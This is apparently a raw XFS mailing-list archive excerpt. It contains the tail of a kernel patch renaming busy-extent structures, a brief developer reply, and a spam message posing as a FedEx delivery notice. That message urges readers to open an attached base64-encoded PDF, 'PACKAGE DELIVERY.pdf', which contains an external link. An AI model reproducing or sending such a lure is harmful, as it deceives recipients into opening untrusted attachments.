xfs_extent_busy_reuse( restart: rbp = pag->pagb_tree.rb_node; while (rbp) { - struct xfs_extent_busy *busyp = - rb_entry(rbp, struct xfs_extent_busy, rb_node); + struct xfs_freed_extent *busyp = + rb_entry(rbp, struct xfs_freed_extent, rb_node); xfs_agblock_t bbno = busyp->bno; xfs_agblock_t bend = bbno + busyp->length; @@ -367,8 +344,8 @@ restart: flen = len; rbp = args->pag->pagb_tree.rb_node; while (rbp && flen >= args->minlen) { - struct xfs_extent_busy *busyp = - rb_entry(rbp, struct xfs_extent_busy, rb_node); + struct xfs_freed_extent *busyp = + rb_entry(rbp, struct xfs_freed_extent, rb_node); xfs_agblock_t fend = fbno + flen; xfs_agblock_t bbno = busyp->bno; xfs_agblock_t bend = bbno + busyp->length; @@ -386,7 +363,7 @@ restart: * extent instead of trimming the allocation. */ if (!args->userdata && - !(busyp->flags & XFS_EXTENT_BUSY_DISCARDED)) { + !(busyp->flags & XFS_EXTENT_DISCARDED)) { if (!xfs_extent_busy_update_extent(args->mp, args->pag, busyp, fbno, flen, false)) @@ -540,7 +517,7 @@ STATIC void xfs_extent_busy_clear_one( struct xfs_mount *mp, struct xfs_perag *pag, - struct xfs_extent_busy *busyp) + struct xfs_freed_extent *busyp) { if (busyp->length) { trace_xfs_extent_busy_clear(mp, busyp->agno, busyp->bno, @@ -549,7 +526,7 @@ xfs_extent_busy_clear_one( } list_del_init(&busyp->list); - kmem_free(busyp); + kmem_zone_free(xfs_freed_extent_zone, busyp); } /* @@ -563,7 +540,7 @@ xfs_extent_busy_clear( struct list_head *list, bool do_discard) { - struct xfs_extent_busy *busyp, *n; + struct xfs_freed_extent *busyp, *n; struct xfs_perag *pag = NULL; xfs_agnumber_t agno = NULLAGNUMBER; @@ -579,8 +556,8 @@ xfs_extent_busy_clear( } if (do_discard && busyp->length && - !(busyp->flags & XFS_EXTENT_BUSY_SKIP_DISCARD)) - busyp->flags = XFS_EXTENT_BUSY_DISCARDED; + !(busyp->flags & XFS_EXTENT_SKIP_DISCARD)) + busyp->flags = XFS_EXTENT_DISCARDED; else xfs_extent_busy_clear_one(mp, pag, busyp); } @@ -600,6 +577,6 @@ xfs_extent_busy_ag_cmp( struct list_head *a, struct list_head *b) { - return container_of(a, struct xfs_extent_busy, list)->agno - - container_of(b, struct xfs_extent_busy, list)->agno; + return container_of(a, struct xfs_freed_extent, list)->agno - + container_of(b, struct xfs_freed_extent, list)->agno; } diff --git a/fs/xfs/xfs_extent_busy.h b/fs/xfs/xfs_extent_busy.h index bfff284..ccc8a13 100644 --- a/fs/xfs/xfs_extent_busy.h +++ b/fs/xfs/xfs_extent_busy.h @@ -20,31 +20,13 @@ #ifndef __XFS_EXTENT_BUSY_H__ #define __XFS_EXTENT_BUSY_H__ +struct xfs_freed_extent; struct xfs_mount; struct xfs_trans; struct xfs_alloc_arg; -/* - * Busy block/extent entry. Indexed by a rbtree in perag to mark blocks that - * have been freed but whose transactions aren't committed to disk yet. - * - * Note that we use the transaction ID to record the transaction, not the - * transaction structure itself. See xfs_extent_busy_insert() for details. - */ -struct xfs_extent_busy { - struct rb_node rb_node; /* ag by-bno indexed search tree */ - struct list_head list; /* transaction busy extent list */ - xfs_agnumber_t agno; - xfs_agblock_t bno; - xfs_extlen_t length; - unsigned int flags; -#define XFS_EXTENT_BUSY_DISCARDED 0x01 /* undergoing a discard op. */ -#define XFS_EXTENT_BUSY_SKIP_DISCARD 0x02 /* do not discard */ -}; - void -xfs_extent_busy_insert(struct xfs_trans *tp, xfs_agnumber_t agno, - xfs_agblock_t bno, xfs_extlen_t len, unsigned int flags); +xfs_extent_busy_insert(struct xfs_trans *tp, struct xfs_freed_extent *free); void xfs_extent_busy_clear(struct xfs_mount *mp, struct list_head *list, diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index f317488..a674664 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -1581,15 +1581,15 @@ xfs_init_zones(void) if (!xfs_log_ticket_zone) goto out_destroy_ioend_pool; - xfs_bmap_free_item_zone = kmem_zone_init(sizeof(xfs_bmap_free_item_t), - "xfs_bmap_free_item"); - if (!xfs_bmap_free_item_zone) + xfs_freed_extent_zone = kmem_zone_init(sizeof(struct xfs_freed_extent), + "xfs_freed_extent"); + if (!xfs_freed_extent_zone) goto out_destroy_log_ticket_zone; xfs_btree_cur_zone = kmem_zone_init(sizeof(xfs_btree_cur_t), "xfs_btree_cur"); if (!xfs_btree_cur_zone) - goto out_destroy_bmap_free_item_zone; + goto out_destroy_freed_extent_zone; xfs_da_state_zone = kmem_zone_init(sizeof(xfs_da_state_t), "xfs_da_state"); @@ -1671,8 +1671,8 @@ xfs_init_zones(void) kmem_zone_destroy(xfs_da_state_zone); out_destroy_btree_cur_zone: kmem_zone_destroy(xfs_btree_cur_zone); - out_destroy_bmap_free_item_zone: - kmem_zone_destroy(xfs_bmap_free_item_zone); + out_destroy_freed_extent_zone: + kmem_zone_destroy(xfs_freed_extent_zone); out_destroy_log_ticket_zone: kmem_zone_destroy(xfs_log_ticket_zone); out_destroy_ioend_pool: @@ -1702,7 +1702,7 @@ xfs_destroy_zones(void) kmem_zone_destroy(xfs_ifork_zone); kmem_zone_destroy(xfs_da_state_zone); kmem_zone_destroy(xfs_btree_cur_zone); - kmem_zone_destroy(xfs_bmap_free_item_zone); + kmem_zone_destroy(xfs_freed_extent_zone); kmem_zone_destroy(xfs_log_ticket_zone); mempool_destroy(xfs_ioend_pool); kmem_zone_destroy(xfs_ioend_zone); diff --git a/fs/xfs/xfs_trace.h b/fs/xfs/xfs_trace.h index a4ae41c..2dfe819 100644 --- a/fs/xfs/xfs_trace.h +++ b/fs/xfs/xfs_trace.h @@ -1313,7 +1313,6 @@ DEFINE_EVENT(xfs_extent_busy_class, name, \ xfs_agblock_t agbno, xfs_extlen_t len), \ TP_ARGS(mp, agno, agbno, len)) DEFINE_BUSY_EVENT(xfs_extent_busy); -DEFINE_BUSY_EVENT(xfs_extent_busy_enomem); DEFINE_BUSY_EVENT(xfs_extent_busy_force); DEFINE_BUSY_EVENT(xfs_extent_busy_reuse); DEFINE_BUSY_EVENT(xfs_extent_busy_clear); From BATV+1ca453cd194183cc91a8+3848+infradead.org+hch@bombadil.srs.infradead.org Fri Mar 7 04:56:28 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1C3727F50 for ; Fri, 7 Mar 2014 04:56:28 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 079C1304048 for ; Fri, 7 Mar 2014 02:56:27 -0800 (PST) X-ASG-Debug-ID: 1394189787-04cb6c567732c0d0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id UVD3pOwnwbGI30kR (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 07 Mar 2014 02:56:27 -0800 (PST) X-Barracuda-Envelope-From: BATV+1ca453cd194183cc91a8+3848+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WLsS2-0002Kq-OE; Fri, 07 Mar 2014 10:56:26 +0000 Date: Fri, 7 Mar 2014 02:56:26 -0800 From: Christoph Hellwig To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: return -E2BIG if hit the maximum size limits of ACLs Message-ID: <20140307105626.GA8928@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: return -E2BIG if hit the maximum size limits of ACLs References: <52EBB032.8070306@oracle.com> <20140204155156.GA3810@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140204155156.GA3810@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1394189787 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3675 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Now that this went in shared/051 needs and update to check for the right error code. From milton.riquelme@stein.cl Fri Mar 7 06:59:47 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CD5BD7F50 for ; Fri, 7 Mar 2014 06:59:47 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B851C8F8071 for ; Fri, 7 Mar 2014 04:59:44 -0800 (PST) X-ASG-Debug-ID: 1394197168-04cbb054b813e980001-NocioJ Received: from mail.dpspa.gob.ec (58.pichincha.andinanet.net [186.42.96.58]) by cuda.sgi.com with ESMTP id CNbErUyqmbKWa1ad for ; Fri, 07 Mar 2014 04:59:29 -0800 (PST) X-Barracuda-Envelope-From: milton.riquelme@stein.cl X-Barracuda-Apparent-Source-IP: 186.42.96.58 Received: from localhost (localhost [127.0.0.1]) by mail.dpspa.gob.ec (Postfix) with ESMTP id C25CC701E7A; Thu, 6 Mar 2014 17:18:37 -0500 (ECT) Received: from mail.dpspa.gob.ec ([127.0.0.1]) by localhost (mail.dpspa.gob.ec [127.0.0.1]) (amavisd-new, port 10032) with ESMTP id TFfHKWl3614Z; Thu, 6 Mar 2014 17:18:09 -0500 (ECT) Received: from localhost (localhost [127.0.0.1]) by mail.dpspa.gob.ec (Postfix) with ESMTP id D09FD742188; Thu, 6 Mar 2014 17:14:48 -0500 (ECT) X-Virus-Scanned: amavisd-new at mail.dpspa.gob.ec Received: from mail.dpspa.gob.ec ([127.0.0.1]) by localhost (mail.dpspa.gob.ec [127.0.0.1]) (amavisd-new, port 10026) with ESMTP id g2Q2xE3DphNB; Thu, 6 Mar 2014 17:14:22 -0500 (ECT) Received: from [180.215.215.254] (unknown [180.215.215.254]) by mail.dpspa.gob.ec (Postfix) with ESMTPSA id 40A3E74227A; Thu, 6 Mar 2014 17:08:53 -0500 (ECT) Content-Type: multipart/mixed; boundary="===============2051246404==" MIME-Version: 1.0 Subject: Delivery In Progress To: Recipients X-ASG-Orig-Subj: Delivery In Progress From: "FedEx Delivery Express Service" Date: Fri, 07 Mar 2014 03:35:13 +0530 Reply-To: fdx21@foxmail.com Message-Id: <20140306220854.40A3E74227A@mail.dpspa.gob.ec> X-Barracuda-Connect: 58.pichincha.andinanet.net[186.42.96.58] X-Barracuda-Start-Time: 1394197168 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.51 X-Barracuda-Spam-Status: No, SCORE=0.51 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, BSF_SC3_TG321 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3677 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_SC3_TG321 Custom Rule TG321 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain You will not see this in a MIME-aware mail reader. --===============2051246404== Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Open Attached File For More Detail --===============2051246404== Content-Type: application/pdf MIME-Version: 1.0 Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="PACKAGE DELIVERY.pdf" JVBERi0xLjUNCiW1tbW1DQoxIDAgb2JqDQo8PC9UeXBlL0NhdGFsb2cvUGFnZXMgMiAwIFIvTGFu Zyhlbi1VUykgL1N0cnVjdFRyZWVSb290IDIyIDAgUi9NYXJrSW5mbzw8L01hcmtlZCB0cnVlPj4+ Pg0KZW5kb2JqDQoyIDAgb2JqDQo8PC9UeXBlL1BhZ2VzL0NvdW50IDIvS2lkc1sgMyAwIFIgMTIg MCBSXSA+Pg0KZW5kb2JqDQozIDAgb2JqDQo8PC9UeXBlL1BhZ2UvUGFyZW50IDIgMCBSL1Jlc291 cmNlczw8L0ZvbnQ8PC9GMSA1IDAgUi9GMiA4IDAgUj4+L0V4dEdTdGF0ZTw8L0dTNyA3IDAgUj4+ L1hPYmplY3Q8PC9JbWFnZTExIDExIDAgUj4+L1Byb2NTZXRbL1BERi9UZXh0L0ltYWdlQi9JbWFn ZUMvSW1hZ2VJXSA+Pi9Bbm5vdHNbIDEwIDAgUl0gL01lZGlhQm94WyAwIDAgNjEyIDc5Ml0gL0Nv bnRlbnRzIDQgMCBSL0dyb3VwPDwvVHlwZS9Hcm91cC9TL1RyYW5zcGFyZW5jeS9DUy9EZXZpY2VS R0I+Pi9UYWJzL1MvU3RydWN0UGFyZW50cyAwPj4NCmVuZG9iag0KNCAwIG9iag0KPDwvRmlsdGVy L0ZsYXRlRGVjb2RlL0xlbmd0aCAzNjU5Pj4NCnN0cmVhbQ0KeJytXFlv3EYSfheg/8CHRdZcmPQ0 zxkgCGBLduI4PnalxA/KPoznkGd1ekaKLSz2vy+bw/pYxa4mqSAwIPTw6KPOrw46ePYh+P77Z2+P Xh8Hkx9+CF4cHwUvTg8Pnr0ygTFxngSn68MDE0yqfyZIi6BM8niSBadX1TM/npTB+e7wYBInRTWi wY+HB2dPgvDfwenPhwcvq8mCl2+PgoCtZNhKbO5iNo3Nfu6BCRLPBKUZOUHaTGDstu2bmYknSTAr 4iLJApPE1bXt6vBg/Q/l5cyzepbR6qDI2ZPjMEqfrOyfeVg82dpBUA2O7OC+Guzs4K4a3NjBVTWo H95Wg6d9J8iVTZg0qfbPNzJAhsJzkmRWHUCZAOQyNaHzdBoXxRC5Ss8iJqNFGLk+glyWSp+Jbn/s LxfV1Wrwiahkr1zTw1/p4Q2RtB7U98/p1TVRektXHujKPV0BN+ysCzu4oXXuaI0FPRgIRto31vQG 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 TAdz4YEkxnLQ+a5XFq4eH5htQ5aCbjNpC2744RNwTnbgPtJrbrrpWWanGWIg92GeZvp9B7OYs9tM j2b5xto2v8Y00/dtrhCb079WrxN9YnPIb74hEWt7F1lTQtHxoANflHWRXN++NQuf2y6bQu50sKNT kfVKyItiJJQrfAY8zWy06v3kZ0zpcxkyBOxx1bICJNDXvfDyCMhAe5Yu5l8jCrchWcKK/aw7R+aW GfaKOg2R0mGho+PWgQMuhh3uYTRmb6FG1WoLTybKVBLkcq3FzG5ZQ+QLbnTSaz1VXdrILNItTbYL WQPJJ1IvUGtUny0qfTokWwvriASFzIKK77Y9FBClEGUyVbPBvsle6WzqdvB/jig9GSoz0ZSuXvOb 8HUizbIUYqu7IRyggc7RuDYDwGIRZCifAIO+a0fX3IzTmKzkUBL7RdjFB15wSCyaWgWz3ddJnE8H WeTpLp1aBXNQgEwpXYntIA8g9MXFZPjuv/3gEIkbHFuootac0ONzSvXjoz0uZcc6G+w919ud4QY9 TTuov+JEd6R1W7LiePDPtsGWGnjLZlPLcXHGXu9cevIbZeaZof12vxaxUYW80vexrSphb+CSkKYW QGVMD3lXXqLxXfvoBoTF6PaQR50wZd//2PNBWm+XbcRSsR+4M6nn/z0Me1FB30F9/y2DIw4nt/Pr llmEM78cHli0W+Z7hlVOO8kr/Fuh5NJeXNj/EOn11fx8ZUxwfBP8s5nu/04nQZENCmVuZHN0cmVh bQ0KZW5kb2JqDQo1IDAgb2JqDQo8PC9UeXBlL0ZvbnQvU3VidHlwZS9UcnVlVHlwZS9OYW1lL0Yx L0Jhc2VGb250L0FCQ0RFRStDb3VyaWVyIzIwTmV3L0VuY29kaW5nL1dpbkFuc2lFbmNvZGluZy9G b250RGVzY3JpcHRvciA2IDAgUi9GaXJzdENoYXIgMzIvTGFzdENoYXIgMTIxL1dpZHRocyA0MSAw IFI+Pg0KZW5kb2JqDQo2IDAgb2JqDQo8PC9UeXBlL0ZvbnREZXNjcmlwdG9yL0ZvbnROYW1lL0FC Q0RFRStDb3VyaWVyIzIwTmV3L0ZsYWdzIDMyL0l0YWxpY0FuZ2xlIDAvQXNjZW50IDgzMy9EZXNj ZW50IC0xODgvQ2FwSGVpZ2h0IDYxMy9BdmdXaWR0aCA2MDAvTWF4V2lkdGggNzQ0L0ZvbnRXZWln aHQgNDAwL1hIZWlnaHQgMjUwL1N0ZW1WIDYwL0ZvbnRCQm94WyAtMTIyIC0xODggNjIzIDYxM10g L0ZvbnRGaWxlMiAzOSAwIFI+Pg0KZW5kb2JqDQo3IDAgb2JqDQo8PC9UeXBlL0V4dEdTdGF0ZS9C TS9Ob3JtYWwvY2EgMT4+DQplbmRvYmoNCjggMCBvYmoNCjw8L1R5cGUvRm9udC9TdWJ0eXBlL1Ry dWVUeXBlL05hbWUvRjIvQmFzZUZvbnQvQUJDREVFK0NvdXJpZXIjMjBOZXcsQm9sZC9FbmNvZGlu Zy9XaW5BbnNpRW5jb2RpbmcvRm9udERlc2NyaXB0b3IgOSAwIFIvRmlyc3RDaGFyIDMyL0xhc3RD aGFyIDEyNS9XaWR0aHMgNDIgMCBSPj4NCmVuZG9iag0KOSAwIG9iag0KPDwvVHlwZS9Gb250RGVz Y3JpcHRvci9Gb250TmFtZS9BQkNERUUrQ291cmllciMyME5ldyxCb2xkL0ZsYWdzIDMyL0l0YWxp Y0FuZ2xlIDAvQXNjZW50IDgzMy9EZXNjZW50IC0yMDkvQ2FwSGVpZ2h0IDYzMy9BdmdXaWR0aCA2 MDAvTWF4V2lkdGggODk0L0ZvbnRXZWlnaHQgNzAwL1hIZWlnaHQgMjUwL1N0ZW1WIDYwL0ZvbnRC Qm94WyAtMTkyIC0yMDkgNzAyIDYzM10gL0ZvbnRGaWxlMiA0MyAwIFI+Pg0KZW5kb2JqDQoxMCAw IG9iag0KPDwvU3VidHlwZS9MaW5rL1JlY3RbIDI0IDY1Ny43IDI2Ny44OSA3NzRdIC9CUzw8L1cg MD4+L0YgNC9BPDwvVHlwZS9BY3Rpb24vUy9VUkkvVVJJKGh0dHBzOi8vd3d3Lmdvb2dsZS5jb20v aW1ncmVzP2ltZ3VybCZpbWdyZWZ1cmw9aHR0cDovL3d3dy5jb29wZXJjb25zdHJ1Y3Rpb24uY29t L2xhdGVzdC1uZXdzLyZoPTAmdz0wJnN6PTEmdGJuaWQ9WnVsMEpZYUEwcjFIOE0mdGJuaD0xNTUm dGJudz0zMjUmem9vbT0xJmRvY2lkPTU0WWtxc2hmWWZscmlNJmVpPW1qdXFVcjdRT29tYjFBV0Nf NEhZQmcmdmVkPTBDQUlRc0NVb0FBKSA+Pi9TdHJ1Y3RQYXJlbnQgMT4+DQplbmRvYmoNCjExIDAg b2JqDQo8PC9UeXBlL1hPYmplY3QvU3VidHlwZS9JbWFnZS9XaWR0aCAzMjUvSGVpZ2h0IDE1NS9D b2xvclNwYWNlL0RldmljZVJHQi9CaXRzUGVyQ29tcG9uZW50IDgvRmlsdGVyL0RDVERlY29kZS9J bnRlcnBvbGF0ZSB0cnVlL0xlbmd0aCA4MDE4Pj4NCnN0cmVhbQ0K/9j/4AAQSkZJRgABAQEAAAAA AAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAx NDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCACbAUUDASIAAhEBAxEB/8QAHwAAAQUBAQEB AQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1Fh ByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZ WmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXG x8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAEC AwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHB CSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0 dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX 2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD3+iiigAooooAKKKKACiiigAooooAK KKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoo ooAKKKKACkJwKWmv90/SgDy9vjloKOy/2dqPynH3Y/8A4um/8L00H/oG6l/3zH/8XXhNx/x8y/75 /mai4r6SOWULbfiessHTPe/+F6aD/wBA3Uv++Y//AIuj/hemg/8AQN1L/vmP/wCLrwSij+zKHb8R /U6Z73/wvTQf+gdqf/fMf/xdS2/xs0O5uYoBpuohpHCLuVMZJA/ve9eAcVb0n/kM2H/XxH/6GKU8 soJbfiJ4OnY+wx0opq9B9KdXzh5IUUUUAFFFFABRRRQAUUUUAJjivOtZ+L2j6LrF1ps9hfvJbyGN mjVNpI7jLA16IelfK3j7jx7rf/X039K7sBh4V6jU+x04WnGpJqR6v/wvTQf+gbqX/fMf/wAXVzTv 